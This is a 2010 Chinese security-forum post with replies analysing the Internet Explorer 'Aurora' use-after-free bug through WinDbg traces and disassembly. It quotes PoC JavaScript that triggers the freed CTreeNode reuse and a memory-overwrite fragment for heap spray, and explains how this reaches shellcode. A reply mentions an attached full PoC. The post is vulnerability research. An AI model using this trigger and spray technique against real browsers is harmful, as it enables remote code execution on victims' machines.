首页
论坛
课程
招聘
[原创+整理]IE极光漏洞的原理探秘
2010-1-25 06:13 35619

[原创+整理]IE极光漏洞的原理探秘

2010-1-25 06:13
35619
本篇参考以下文章:
[1]http://www.geoffchappell.com/viewer.htm?doc=notes/security/aurora/index.htm
[2]http://securitylabs.websense.com/content/Blogs/3530.aspx
[3]http://www.securityfocus.com/archive/1/508961

其中,[1]对此漏洞进行了极其详细的解说(就差告诉你怎么调试了),我就是看了它才了解细节上是怎么一回事,[2]则简要地进行了解说,而[3]则直接说出了调试的提示。

因此,我这里只是看了以上参考文章之后,依葫芦画瓢调试了一下,把关于调试和理解的部分整理了一下,观点并不是我自己首先得出来的。

调试环境:XP sp3 简体中文版系统,IE7(IE6更容易跳进shellcode,IE7跳进shellcode概率似乎不大,不过这里主要是为了讨论漏洞怎么来的,IE7虽跳不进shellcode,但是也会因为访问无效地址而抛出异常,照样可以断下,所以并不影响下面讨论)。

先观察PoC网页,这里的引用把heap spray等略掉了,完整的在附件:
......
function ev1(evt)

{

event_obj = document.createEventObject(evt);

document.getElementById("sp1").innerHTML = "";

window.setInterval(ev2, 1);

}



function ev2()

{

......


event_obj.srcElement;

}

......

<body>

<span id="sp1">

<img src="aurora.gif" onload="ev1(event)">

</span>

</body>

简单地理解,Body中有个span对象,span对象中包含一个img对象,img对象的onload响应例程中,调用createEventObject创建了相应event对象的一个副本,然后将span对象的innerHtml清空,这样导致img对象的释放。在此之后,创建一个定时器,在超时例程中访问新event对象的srcElement属性,应该是在这时候触发了漏洞。

winbg载入IE7(PoC文件名为命令行参数),IE7出现网页脚本或ActiveX对象被阻止提示,确认允许运行,等许久后抛出异常断下
(300.1ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001ec7b0 ebx=44003000 ecx=44003000 edx=00206418 esi=02b609d8 edi=ffffffff
eip=3e5b1e60 esp=019df818 ebp=019df838 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CElement::Doc:
3e5b1e60 8b01 mov eax,dword ptr [ecx] ds:0023:44003000=????????
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:005> kb
ChildEBP RetAddr Args to Child
019df814 3e582b2b 001f8af8 01e23920 3e80f27c mshtml!CElement::Doc
019df838 3e67f828 01e23928 000003e9 019df870 mshtml!CEventObj::GenericGetElement+0x99
019df848 3e66d9c5 001ec768 01e23928 00988690 mshtml!CEventObj::get_srcElement+0x15
019df870 3e5b88a8 001ec768 00988690 001f8af8 mshtml!GS_IDispatchp+0x38
019df908 3e5b8dd9 001ec768 000003e9 3e66d989 mshtml!CBase::ContextInvokeEx+0x4ef
019df934 75be29d7 001ec768 000003e9 00000409 mshtml!CBase::InvokeEx+0x25
019df96c 75be2947 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx2+0xac
019df9a4 75be31e5 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx+0x56
019dfa14 75be1c0a 00986940 001caa30 000003e9 jscript!InvokeDispatchEx+0x78
019dfa5c 75be2fc3 00986940 019dfaac 00000002 jscript!VAR::InvokeByName+0xba
019dfb10 75be1123 019dfb54 00000000 009860b0 jscript!CScriptRuntime::Run+0xa7a
019dfb28 75be0f8a 019dfb54 00000000 00000000 jscript!ScrFncObj::Call+0x8d
019dfb98 75be2642 009860b0 019dfdb0 00000000 jscript!CSession::Execute+0xa7
019dfc88 75be24fe 00000000 00000001 019dfda0 jscript!NameTbl::InvokeDef+0x179
019dfd08 75be2e10 009860b0 00000000 00000000 jscript!NameTbl::InvokeEx+0xcb
019dfd38 3e5a76df 009860b0 00000000 3e5b1414 jscript!NameTbl::Invoke+0x55
019dfdcc 3e5a763d 00204ee8 001c8060 00002000 mshtml!CWindow::ExecuteTimeoutScript+0x85
019dfe14 3e5a7611 001c97b8 001c97f1 019dfe48 mshtml!CWindow::FireTimeOut+0x91
019dfe24 3e5a77b5 00002000 019dfeb0 3e5b1551 mshtml!GWMouseProc+0x152
019dfe48 77d18734 0013020a 000000d6 00002000 mshtml!GlobalWndProc+0x181

从栈回溯信息看,这的确是在定时器例程中使用event_obj.srcElement时出现的异常。

触发异常的点很容易找,但是找到为什么却不容易。

关键是要了解CEventObj::get_srcElement怎么实现的,为什么这么实现,这是我看了[1]之后才了解的。简单地说,为在event中能够访问相应的Element,CEventObj并不是直接就在其类中保存一个CElement结构的指针,而是绕了几绕:CImgElement对象创建后,又创建了相应的CTreeNode对象,由CTreeNode对象的属性中保存CImgElement类指针。然后将CTreeNode对象的地址,保存在这个img的事件对象CEventObj类的一个EVENTPARAM结构中。

对此,参考文献[3]直接给出了调试的提示:
If you're interested in researching the vulnerability (using this PoC), breakpoint MSHTML!CImgElement::CImgElement, then run until MSHTML!CTreeNode::CTreeNode is hit -- this tree node is freed during MSHTML!CImgHelper::Fire_onerror, but is later accessed during
MSHTML!CEventObj::get_srcElement.


重新载入,在系统断点时输入命令bu mshtml!CImgElement::CImgElement,g运行,停在断点处一次,这时再次g运行,IE7出现网页脚本或ActiveX对象被阻止提示,确认允许运行,等许久让它Heap spray,之后又断在CImgElement::CImgElement
Breakpoint 0 hit
eax=002033d0 ebx=001ae3bc ecx=002033d0 edx=00000034 esi=001ae308 edi=0022ffe8
eip=3e553f4e esp=019dfb9c ebp=019dfba8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CImgElement::CImgElement:
3e553f4e 8bff mov edi,edi

这时得到将创建的CImgElement对象指针,ecx=ecx=002033d0

bu CTreeNode::CTreeNode,运行断下
0:005> bu mshtml!CTreeNode::CTreeNode
0:005> g
Breakpoint 1 hit
eax=02b60880 ebx=00000000 ecx=02b60880 edx=00150608 esi=001db518 edi=00000055
eip=3e586fe7 esp=019dfb7c ebp=019dfb90 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTreeNode::CTreeNode:
3e586fe7 8bff mov edi,edi
0:005> kb
ChildEBP RetAddr Args to Child
019dfb78 3e53ffc3 00203380 002033d0 00000000 mshtml!CTreeNode::CTreeNode
019dfb90 3e551f3d 019dfbe0 002033d0 00203380 mshtml!CHtmRootParseCtx::BeginElement+0x37
019dfbb8 3e53ff25 019dfbe0 002033d0 00203380 mshtml!CHtmTextParseCtx::BeginElement+0x71
019dfbe4 3e54012b 00000000 00000001 00000000 mshtml!CHtmParse::BeginElement+0x8c
019dfc08 3e53eb07 00000000 0022ffe8 00000000 mshtml!CHtmParse::ParseBeginTag+0x112
019dfc20 3e53fad6 00000034 00fa84cc 001de4a8 mshtml!CHtmParse::ParseToken+0x76
019dfcc8 3e53b620 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::ProcessTokens+0x1a4
019dfd84 3e53bd97 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Exec+0x15d
019dfd9c 3e53bd18 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Run+0x13
019dfdb4 3e53c38f 001c7fb0 00fa84cc 001de4a8 mshtml!PostManExecute+0xdc
019dfdd4 3e53c2fc 001de4a8 00000001 019dfdf4 mshtml!PostManResume+0x9e
019dfde4 3e59f3ff 001fa800 001de4a8 019dfe28 mshtml!CHtmPost::OnDwnChanCallback+0x10
019dfdf4 3e5b79e2 001fa800 00000000 00000000 mshtml!CDwnChan::OnMethodCall+0x19
019dfe28 3e5b1602 019dfeb0 3e5b1551 00000000 mshtml!GlobalWndOnMethodCall+0x101
019dfe48 77d18734 000e021c 000000d4 00000000 mshtml!GlobalWndProc+0x181
019dfe74 77d18816 3e5b1551 000e021c 00008002 USER32!InternalCallWinProc+0x28
019dfedc 77d189cd 00000000 3e5b1551 000e021c USER32!UserCallWinProcCheckWow+0x150
019dff3c 77d18a10 019dff64 00000000 019dffb4 USER32!DispatchMessageWorker+0x306
019dff4c 3ed3e70b 019dff64 0013e490 0013e5b8 USER32!DispatchMessageW+0xf
019dffb4 7c80b699 001ab490 0013e490 0013e5b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x189

可以看到它是由CHtmRootParseCtx::BeginElement调用的,ecx=02b60880为CTreeNode类指针,该函数第二个参数002033d0正是刚刚创建的CImgElement类指针,函数调用CTreeNode::SetElement将该CImgElement类与CTreeNode关联:
.text:3E586FEC push esi
.text:3E586FED push [ebp+pCElementObject]
.text:3E586FF0 mov esi, ecx
.text:3E586FF2 or word ptr [esi+0Ah], 0FFFFh
.text:3E586FF7 or word ptr [esi+0Ch], 0FFFFh
.text:3E586FFC or word ptr [esi+0Eh], 0FFFFh
.text:3E587001 mov dword ptr [esi+10h], 1
.text:3E587008 call CTreeNode::SetElement(CElement *)

.text:3E586F69
.text:3E586F69 public: void __thiscall CTreeNode::SetElement(class CElement *) proc near
.text:3E586F69 ; CODE XREF: CTreeNode::CTreeNode(CTreeNode *,CElement *)+21p
.text:3E586F69
.text:3E586F69 pCElementObject = dword ptr 8
.text:3E586F69
.text:3E586F69 mov edi, edi
.text:3E586F6B push ebp
.text:3E586F6C mov ebp, esp
.text:3E586F6E mov eax, [ebp+pCElementObject]
.text:3E586F71 test eax, eax
.text:3E586F73 mov [ecx], eax
.text:3E586F75 jz short loc_3E586F7D
.text:3E586F75
.text:3E586F77 mov al, [eax+14h]
.text:3E586F7A mov [ecx+8], al
.text:3E586F7A
.text:3E586F7D
.text:3E586F7D loc_3E586F7D: ; CODE XREF: CTreeNode::SetElement(CElement *)+Cj
.text:3E586F7D pop ebp
.text:3E586F7E retn 4
.text:3E586F7E
.text:3E586F7E public: void __thiscall CTreeNode::SetElement(class CElement *) endp
.text:3E586F7E


步过以上部分,在此之后,网页代码使用createEventObject创建了event的副本,很囧的是,这个新的CEventObj类,当然copy了原来对象的EVENTPARAM结构,但是根据[1]的解释,在EVENTPARAM结构内容被copy的时候,并没有增加CTreeNode的访问计数!
CEvent::Create中调用EVENTPARAM::EVENTPARAM复制EVENTPARAM结构,但后者的代码中的确没有包括操作其中CTreeNode(在后面的CEventObj::get_srcElement函数分析中可以看出,CTreeNode类指针在EVENTPARAM结构的头部)增加访问计数的内容。

.text:3E6B4BC9
.text:3E6B4BC9 loc_3E6B4BC9: ; CODE XREF: CEventObj::Create(IHTMLEventObj * *,CDoc *,CElement *,CMarkup *,int,ushort *,EVENTPARAM *,int)+84j
.text:3E6B4BC9 push 0D8h ; dwBytes
.text:3E6B4BCE call _MemAlloc(x)
.text:3E6B4BCE
.text:3E6B4BD3 test eax, eax
.text:3E6B4BD5 jz short loc_3E6B4BE3
.text:3E6B4BD5
.text:3E6B4BD7 push [ebp+arg_18]
.text:3E6B4BDA mov ecx, eax
.text:3E6B4BDC call EVENTPARAM::EVENTPARAM(EVENTPARAM const *)
.text:3E6B4BDC
.text:3E6B4BE1 jmp short loc_3E6B4BE5
.text:3E6B4BE1

.text:3E582A41
.text:3E582A41 public: __thiscall EVENTPARAM::EVENTPARAM(struct EVENTPARAM const *) proc near
.text:3E582A41 ; CODE XREF: CElement::get_nodeType(long *)-164050p
.text:3E582A41 ; .text:3E5BFDC3p
.text:3E582A41 ; .text:3E5C2363p
.text:3E582A41 ; CElement::FireStdEvent_KeyHelper(CTreeNode *,CMessage *,int *,EVENTINFO *)+7Ap
.text:3E582A41 ; CElement::get_nodeType(long *)-7B645p
.text:3E582A41 ; CElement::get_nodeType(long *)+5FEBp ...
.text:3E582A41
.text:3E582A41 pEventParam = dword ptr 8
.text:3E582A41
.text:3E582A41 mov edi, edi
.text:3E582A43 push ebp
.text:3E582A44 mov ebp, esp
.text:3E582A46 push ebx
.text:3E582A47 mov ebx, ecx
.text:3E582A49 push esi
.text:3E582A4A mov esi, [ebp+pEventParam]
.text:3E582A4D push edi
.text:3E582A4E xor eax, eax
.text:3E582A50 lea edi, [ebx+48h]
.text:3E582A53 stosd
.text:3E582A54 stosd
.text:3E582A55 stosd
.text:3E582A56 stosd
.text:3E582A57 xor edx, edx
.text:3E582A59 mov [ebx+0C4h], edx
.text:3E582A5F mov [ebx+0C8h], edx
.text:3E582A65 mov [ebx+0CCh], edx
.text:3E582A6B mov [ebx+0D0h], edx
.text:3E582A71 push 36h
.text:3E582A73 pop ecx
.text:3E582A74 mov edi, ebx
.text:3E582A76 rep movsd ; 直接copy了内容
.text:3E582A78 mov eax, [ebx+64h]
.text:3E582A7B and dword ptr [ebx+0A8h], 0FFFFFBFFh
.text:3E582A85 add dword ptr [eax+8], 8
.text:3E582A89 mov eax, [ebx+68h]
.text:3E582A8C cmp eax, edx
.text:3E582A8E jz short loc_3E582A94
.text:3E582A8E
.text:3E582A90 add dword ptr [eax+8], 8
.text:3E582A90
.text:3E582A94
.text:3E582A94 loc_3E582A94: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+4Dj
.text:3E582A94 mov eax, [ebx+6Ch]
.text:3E582A97 cmp eax, edx
.text:3E582A99 jnz loc_3E6A4170
.text:3E582A99
.text:3E582A9F
.text:3E582A9F loc_3E582A9F: ; CODE XREF: CElement::get_nodeType(long *)+13875j
.text:3E582A9F mov eax, [ebx+84h]
.text:3E582AA5 cmp eax, edx
.text:3E582AA7 jnz loc_3E6A4179
.text:3E582AA7
.text:3E582AAD jmp loc_3E6A4181
.text:3E582AAD
.text:3E582AAD public: __thiscall EVENTPARAM::EVENTPARAM(struct EVENTPARAM const *) endp
.text:3E582AAD
.text:3E582AB2
.text:3E582AB2 loc_3E582AB2: ; CODE XREF: CElement::get_nodeType(long *)+138EEj
.text:3E582AB2 pop edi
.text:3E582AB3 pop esi
.text:3E582AB4 mov eax, ebx
.text:3E582AB6 pop ebx
.text:3E582AB7 pop ebp
.text:3E582AB8 retn 4

.text:3E6A4170
.text:3E6A4170 loc_3E6A4170: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+58j
.text:3E6A4170 add dword ptr [eax+8], 8
.text:3E6A4174 jmp loc_3E582A9F
.text:3E6A4174
.text:3E6A4179 ; ---------------------------------------------------------------------------
.text:3E6A4179
.text:3E6A4179 loc_3E6A4179: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+66j
.text:3E6A4179 mov ecx, [eax]
.text:3E6A417B push eax
.text:3E6A417C call dword ptr [ecx+4]
.text:3E6A417F xor edx, edx
.text:3E6A417F
.text:3E6A4181
.text:3E6A4181 loc_3E6A4181: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+6Cj
.text:3E6A4181 mov eax, [ebp+lpMem]
.text:3E6A4184 add eax, 0C4h
.text:3E6A4189 lea ecx, [ebx+0C4h]
.text:3E6A418F push eax
.text:3E6A4190 mov [ecx], edx
.text:3E6A4192 call CStr::Set(CStr const &)
.text:3E6A4192
.text:3E6A4197 mov esi, [ebp+lpMem]
.text:3E6A419A lea eax, [esi+0C8h]
.text:3E6A41A0 lea ecx, [ebx+0C8h]
.text:3E6A41A6 xor edi, edi
.text:3E6A41A8 push eax
.text:3E6A41A9 mov [ecx], edi
.text:3E6A41AB call CStr::Set(CStr const &)
.text:3E6A41AB
.text:3E6A41B0 lea eax, [esi+0CCh]
.text:3E6A41B6 lea ecx, [ebx+0CCh]
.text:3E6A41BC push eax
.text:3E6A41BD mov [ecx], edi
.text:3E6A41BF call CStr::Set(CStr const &)
.text:3E6A41BF
.text:3E6A41C4 lea eax, [esi+0D0h]
.text:3E6A41CA lea ecx, [ebx+0D0h]
.text:3E6A41D0 push eax
.text:3E6A41D1 mov [ecx], edi
.text:3E6A41D3 call CStr::Set(CStr const &)
.text:3E6A41D3
.text:3E6A41D8 lea ecx, [ebx+48h]
.text:3E6A41DB xor eax, eax
.text:3E6A41DD mov edi, ecx
.text:3E6A41DF stosd
.text:3E6A41E0 stosd
.text:3E6A41E1 add esi, 48h
.text:3E6A41E4 stosd
.text:3E6A41E5 push esi ; pvargSrc
.text:3E6A41E6 push ecx ; pvargDest
.text:3E6A41E7 stosd
.text:3E6A41E8 call VariantCopy(x,x)
.text:3E6A41E8
.text:3E6A41ED jmp loc_3E582AB2
.text:3E6A41ED

于是通过调用document.getElementById("sp1").innerHTML = "",导致CTreeNode和CImgElement的释放,看看CTreeNode开头处的CImgElement类指针是什么时候被改掉的,对CTreeNode类头部下硬件写入断点:
0:005> ba w 4 02b60880
0:005> g
Breakpoint 2 hit
eax=feeefeee ebx=00000000 ecx=00000011 edx=02b60360 esi=02b60360 edi=02b60884
eip=7c922c53 esp=019df8cc ebp=019df9b4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
ntdll!RtlFillMemoryUlong+0x10:
7c922c53 f3ab rep stos dword ptr es:[edi]
0:005> kb
ChildEBP RetAddr Args to Child
019df8cc 7c96be06 02b60370 00000558 feeefeee ntdll!RtlFillMemoryUlong+0x10
019df9b4 7c98f7fa 00150000 50000061 02b60880 ntdll!RtlFreeHeapSlowly+0x2ea
019dfa28 7c96bc5a 00150000 50000061 02b60880 ntdll!RtlDebugFreeHeap+0x193
019dfb10 7c946045 00150000 40000060 02b60880 ntdll!RtlFreeHeapSlowly+0x37
019dfbe0 3e5b2038 00150000 00000000 02b60880 ntdll!RtlFreeHeap+0xf9
019dfbf4 3e7179d2 02b60880 3e593ed1 02b60880 mshtml!_MemFree+0x1c
019dfbfc 3e593ed1 02b60880 001dbff0 019dfc1c mshtml!CTreeNode::Release+0xe
019dfc0c 3e5b592b 02b60880 001dbff0 019dfd48 mshtml!CTreeNode::RemoveRef+0x22
019dfc1c 3e5c9a5c 001dbff0 001c8ae8 002033d0 mshtml!PlainRelease+0x33
019dfc2c 3e5d65bf 001c8ae8 001db6c0 00000000 mshtml!CTreeNode::NodeRelease+0x24
019dfd48 3e5a358a 000003eb 00000001 00000000 mshtml!CElement::FireEvent+0x36f
019dfd64 3e5a0fbb 001db6c0 019dfdd8 3e5a34ff mshtml!CImgElement::Fire_onload+0x13
019dfd70 3e5a34ff 00000004 001c7fb0 019dfe1c mshtml!CImgHelper::SetReadyStateImg+0x5c
019dfdd8 3e5a355e 001f6820 019dfdf4 3e59f3ff mshtml!CImgHelper::OnDwnChan+0x436
019dfde4 3e59f3ff 001f6820 001db6c0 019dfe28 mshtml!CImgHelper::OnDwnChanCallback+0x10
019dfdf4 3e5b79e2 001f6820 00000000 00000000 mshtml!CDwnChan::OnMethodCall+0x19
019dfe28 3e5b1602 019dfeb0 3e5b1551 00000000 mshtml!GlobalWndOnMethodCall+0x101
019dfe48 77d18734 000e021c 000000d4 00000000 mshtml!GlobalWndProc+0x181
019dfe74 77d18816 3e5b1551 000e021c 00008002 USER32!InternalCallWinProc+0x28
019dfedc 77d189cd 00000000 3e5b1551 000e021c USER32!UserCallWinProcCheckWow+0x150

看来随着这个过程中CTreeNode::Release的确被调用,该地址的内容也就被修改了,不再指向有效的CElement类(或其子类)对象。

接下来就是CEventObj::get_srcElement了,先IDA分析一下,当CEventObj::get_srcElement被调用时,进入CEventObj::GenericGetElement:

1. 调用CEventObj::GetParam得到EVENTPARAM结构指针

.text:3E582AF6 lea eax, [ebp+pEventParam]
.text:3E582AF9 push eax
.text:3E582AFA call CEventObj::GetParam(EVENTPARAM * *)

2. 从EVENTPARAM结构中得到相应CTreeNode指针:

.text:3E582B15 mov eax, [ebp+pEventParam]
.text:3E582B18 mov esi, [eax]

3. 从CTreeNode指针中直接得到CElement对象(这里对于原event来说,是其派生类CImgElement对象)指针,并调用CElement::Doc

.text:3E582B22 mov ebx, [esi]
.text:3E582B24 mov ecx, ebx
.text:3E582B26 call CElement::Doc(void)

4.CElement::Doc函数调用CElement::SecurityContext:

.text:3E5B1E60 mov eax, [ecx]
.text:3E5B1E62 mov edx, [eax+34h]
.text:3E5B1E65 call edx
.text:3E5B1E67 mov eax, [eax+0Ch]
.text:3E5B1E6A retn


在漏洞触发时,EVENTPARAM中带的CTreeNode类的内容已经不对了,从而从其中的CElement类地址也是不对的,这时把它作为CElement类指针调用CElement::Doc便会出错,导致抛出异常:
0:005> g
(6f0.478): Unknown exception - code 80010108 (first chance)
(6f0.478): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00199a38 ebx=00060006 ecx=00060006 edx=0023a748 esi=02b60880 edi=ffffffff
eip=3e5b1e60 esp=019df818 ebp=019df838 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CElement::Doc:
3e5b1e60 8b01 mov eax,dword ptr [ecx] ds:0023:00060006=????????
0:005> kb
ChildEBP RetAddr Args to Child
019df814 3e582b2b 001f9440 01e23920 3e80f27c mshtml!CElement::Doc
019df838 3e67f828 01e23928 000003e9 019df870 mshtml!CEventObj::GenericGetElement+0x99
019df848 3e66d9c5 001df4f8 01e23928 00988590 mshtml!CEventObj::get_srcElement+0x15
019df870 3e5b88a8 001df4f8 00988590 001f9440 mshtml!GS_IDispatchp+0x38
019df908 3e5b8dd9 001df4f8 000003e9 3e66d989 mshtml!CBase::ContextInvokeEx+0x4ef
019df934 75be29d7 001df4f8 000003e9 00000409 mshtml!CBase::InvokeEx+0x25
019df96c 75be2947 00986940 001bba58 000003e9 jscript!IDispatchExInvokeEx2+0xac
019df9a4 75be31e5 00986940 001bba58 000003e9 jscript!IDispatchExInvokeEx+0x56
019dfa14 75be1c0a 00986940 001bba58 000003e9 jscript!InvokeDispatchEx+0x78
019dfa5c 75be2fc3 00986940 019dfaac 00000002 jscript!VAR::InvokeByName+0xba
019dfb10 75be1123 019dfb54 00000000 009860b0 jscript!CScriptRuntime::Run+0xa7a
019dfb28 75be0f8a 019dfb54 00000000 00000000 jscript!ScrFncObj::Call+0x8d
019dfb98 75be2642 009860b0 019dfdb0 00000000 jscript!CSession::Execute+0xa7
019dfc88 75be24fe 00000000 00000001 019dfda0 jscript!NameTbl::InvokeDef+0x179
019dfd08 75be2e10 009860b0 00000000 00000000 jscript!NameTbl::InvokeEx+0xcb
019dfd38 3e5a76df 009860b0 00000000 3e5b1414 jscript!NameTbl::Invoke+0x55
019dfdcc 3e5a763d 001f8b80 001c7fb0 00002004 mshtml!CWindow::ExecuteTimeoutScript+0x85
019dfe14 3e5a7611 001c9708 001c9743 019dfe48 mshtml!CWindow::FireTimeOut+0x91
019dfe24 3e5a77b5 00002004 019dfeb0 3e5b1551 mshtml!GWMouseProc+0x152
019dfe48 77d18734 000e021c 000000d6 00002004 mshtml!GlobalWndProc+0x181

验证一下是不是原来的CTreeNode对象的指针位置:

0:005> dd ebp-8 l 1
019df830 00199a38
0:005> dd 00199a38 l 1
00199a38 02b60880
0:005> dd 02b60880 l 1
02b60880 00060006

可以看到[ebp-8]的EVENTPARAM结构体中的确还保留着指向原CTreeNode的地址值02b60880,而此时由于该处被修改了,当前值00060006为一个无效指针,当程序把它当成CElement类指针调用CElement::Doc时,就出现了访问无效内存的Access Violation异常。

这是触发不能进入shellcode的情况,如何进入shellcode呢?PoC中定时器超时例程前面的内容:
var data, tmp;



data = "";

tmp = unescape("%u0a0a% u0a0a"); //这里中间加了个空格,因为发现原来显示不正确

for (var i = 0 ; i < 4 ; i++)

data += tmp;

for (i = 0 ; i < obj.length ; i++ ) {

obj.data = data;

}

可以看到,网页代码在通过改变span对象的innerHtml造成CTreeNode对象的释放后,企图重用CTreeNode对象原来占有的内存空间,将其用0x0a0a填充。
可以推想,如果这个动作成功,那么原CTreeNode对象开头位置会被0x0a0a0a0a所覆盖,则:
1. CEventObj::GenericGetElement中取到的“CElement对象地址”也就会变成0x0a0a0a0a
2. 以此地址来调用CElement::Doc,将会访问dword ptr [0x0a0a0a0a]取虚函数表
3. 而由于之前的heap spray,0x0a0a0a0a处的DWORD值同样为0x0a0a0a0a,这样0x0a0a0a0a又被当成了虚函数表地址
4. dword ptr [0a0a0a0a+34]同样是0x0a0a0a0a,这样0x0a0a0a0a又被当成了虚函数的入口址
5. 以上导致代码变为call 0x0a0a0a0a,而同样地由于heap spray,在等效于nop的0x0a指令后面跟随的,就是shellcode代码,于是程序进入了shellcode代码。

小结:
1. 为在event中能够访问相应的Element,CEventObj并不是直接就在其类中保存一个CElement结构的指针,而是在CElement对象创建后,又创建了相应的CTreeNode对象,由CTreeNode对象的属性中保存CElement类指针,并将CTreeNode对象的地址,保存在CEventObj类的一个EVENTPARAM结构中。当网页代码中调用event.srcElement时,CEventObj::get_srcElement函数通过EVENTPARAM结构中保存的CTreeNode对象及其中保存的CElement对象指针来访问CElement对象。
2. 在使用createEventObject(event)创建event的副本的时候,EVENTPARAM结构同样被复制,然而EVENTPARAM中保存的CTreeNode对象的引用计数没有增加。
3. 第2点导致一旦在Element的event响应例程中调用createEventObject(event)之后取消相应Element(如PoC中将img所在的span的innerHtml清空),则相应的CTreeNode对象也会被释放,从而新event中的EVENTPARAM结构指向的CTreeNode指针不再有效而会被程序重用,而这时再使用新event的srcElement属性,将导致使用无效的CTreeNode对象地址,从而取到不正确的CElement对象地址,使CElement::Doc函数的调用出现异常。
4. 使用精心构造的网页代码,可以在上面的CTreeNode被释放后将原内存内容修改为特定的值,结合heap spray填充相应区域,可以使得CElement::Doc函数调用特别构造的shellcode代码,从而达到以浏览器进程的权限远程执行任意代码的目的。

[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

收藏
点赞0
打赏
分享
最新回复 (70)
雪    币: 666
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2010-1-25 06:16
2
0
附件为PoC网页,如果进入shellcode成功会弹出个计算器,貌似这个网上已经有了。 aurora.rar
上传的附件:
雪    币: 19
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xupeihua 活跃值 2010-1-25 08:24
3
0
囧。这么强大
雪    币: 83
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
espzj 活跃值 2 2010-1-25 08:51
4
0
不错,顶一个。
雪    币: 88
活跃值: 活跃值 (68)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
frozenrain 活跃值 2010-1-25 09:13
5
0
看来分析微软的漏洞还得用微软的家伙,至少官方给的资料是WINDBG相关的。
雪    币: 273
活跃值: 活跃值 (11)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
popeylj 活跃值 6 2010-1-25 09:13
6
0
support ~!
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
空子 活跃值 2010-1-25 09:19
7
0
无法学习,只能膜拜。
雪    币: 0
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
SniperChan 活跃值 1 2010-1-25 09:38
8
0
还看不懂,好东西还是要支持的
雪    币: 272
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
crdchen 活跃值 2010-1-25 10:04
9
0
膜拜,学习中
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Evilmov 活跃值 2010-1-25 10:09
10
0
膜拜中....
雪    币: 14
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xtwksse 活跃值 2010-1-25 10:10
11
0
被我的360浏览器给拦下来了。。。^_^
雪    币: 226
活跃值: 活跃值 (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
youstar 活跃值 2 2010-1-25 10:18
12
0
小聪分析得不错,学习调试!
起来得太早了!
上传的附件:
雪    币: 237
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
feezd 活跃值 2010-1-25 10:41
13
0
好强大啊,用ie的要小心了。
雪    币: 372
活跃值: 活跃值 (146)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 活跃值 19 2010-1-25 10:53
14
0
不错。终于有分析的了。。。
呵呵
雪    币: 416
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
guobing 活跃值 2010-1-25 11:04
15
0
这就是Google工程师提的漏洞啊。牛人。。看不懂。。。
雪    币: 318
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kk378 活跃值 2010-1-25 11:32
16
0
看不懂啊,还要在学习!!
雪    币: 83
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
espzj 活跃值 2 2010-1-25 11:34
17
0
这个是google受到的Aurora Operation所用漏洞,Google工程师发现的是系统内核漏洞。
雪    币: 226
活跃值: 活跃值 (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
youstar 活跃值 2 2010-1-25 12:05
18
0
不是的,谷歌那个只是提权滴!
雪    币: 288
活跃值: 活跃值 (203)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 活跃值 41 2010-1-25 12:51
19
0
膜拜楼主!!!
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
WisdomZh 活跃值 2010-1-25 13:34
20
0
计算器被成功调出
雪    币: 666
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2010-1-25 13:51
21
0
不是起来得太早,是通宵了
雪    币: 220
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
